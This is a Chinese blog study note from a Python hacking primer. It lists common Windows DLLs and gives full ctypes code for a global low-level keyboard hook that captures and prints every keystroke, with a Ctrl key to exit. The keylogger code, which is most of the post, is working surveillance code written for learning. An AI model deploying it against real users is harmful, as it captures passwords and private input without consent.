使用ctypes模块进行消息钩取(学习笔记)

@《Python黑客攻防入门》

运行环境:Python 3.7
运行环境推荐使用Python2.7,因为很多的hack程序都是使用2.7版本的,贸然使用最新的版本很可能会有不兼容问题,不过这里还好。

当然,这次的代码只需要把print" "改成print,也就是把print语句的“”去掉就可以在2.7版本上运行。

不过这次的代码在有安装杀毒软件的电脑上无法正常运行,一般来说只要电脑安装了安全键盘就无法正常运行了,在windows10、windows xp上可以正常运行,当然都没有安装杀毒软件什么的。

一些基础知识:在windows中lib是静态库,DLL是动态链接库,win32API大部分以DLL库的形式存在。

一些最具代表性的DLL:
kernel32.dll:提供对文件系统、设备、进程、线程等基本资源的访问过程。
user32.dll:提供用户接口功能,包含创建、管理窗口,接收windows消息, 在屏幕上绘制文本,显示消息框。
advapi32.dll:提供注册表、系统终止与重启、windows服务启动/停止/创建、账户管理等功能。
gdi32.dll:提供对显示器、打印机及其他输出设备的管理功能。
comdlg32.dll:提供文件打开、文件保存、颜色字体选择等标准对话框管理功能。
comctl32.dll:支持应用程序访问操作系统的状态条、进度条、工具条等功能。
shell32.dll:支持应用程序访问操作系统shell提供的功能。
netapi32.dll:支持应用程序访问操作系统提供的各种通信功能。

本次代码是键盘钩取的代码,不包括鼠标活动什么的。

废话不多说,先上代码。

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

# 使用windll
user32 = windll.user32             
kernel32 = windll.kernel32

# 变量申明,可通过微软的MSDN获取相关知识
WH_KEYBOARD_LL = 13                
WM_KEYDOWM = 0x0100
CTRL_CODE = 162

# 定义有挂钩和拆钩功能的类
class keyLogger:                   
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None
    
    # 定义挂钩函数
    def installHookProc(self, pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True
    
    # 定义拆钩函数
    def uninstallHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None
 
 # 定义函数指针       
def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

# 定义钩子过程(一种回调函数)
def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWM:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    print(hookedKey)
    if(CTRL_CODE == int(lParam[0])):
        print('Ctrl pressed, call uninstallHook()')
        keyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

# 传递消息
def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg),0,0,0)

#启动消息钩取    
keyLogger = keyLogger()
pointer = getFPTR(hookProc)

if keyLogger.installHookProc(pointer):
    print('installed keyLogger')
    
startKeyLog()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值